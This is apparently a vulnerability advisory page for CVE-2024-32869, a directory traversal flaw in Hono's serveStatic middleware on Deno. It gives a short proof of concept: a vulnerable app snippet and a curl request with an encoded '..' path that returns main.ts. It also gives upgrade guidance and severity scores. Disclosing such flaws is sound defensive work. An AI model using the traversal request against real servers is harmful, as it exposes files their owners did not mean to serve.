CVE-2024-32869
Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
Description
### Summary When using serveStatic with deno, it is possible to directory traverse where main.ts is located. My environment is configured as per this tutorial https://hono.dev/getting-started/deno ### PoC ```bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt ``` source ```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts' const app = new Hono() app.use('/static/*', serveStatic({ root: './' })) Deno.serve(app.fetch) ``` request ```bash curl localhost:8000/static/%2e%2e/main.ts ``` response is content of main.ts ### Impact Unexpected files are retrieved.
How to fix CVE-2024-32869
To remediate CVE-2024-32869, upgrade the affected package to a fixed version below.
- —upgrade to 4.2.7 or later
Is CVE-2024-32869 being exploited?
Low — EPSS is 1.7%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 4.2.7
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM5.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |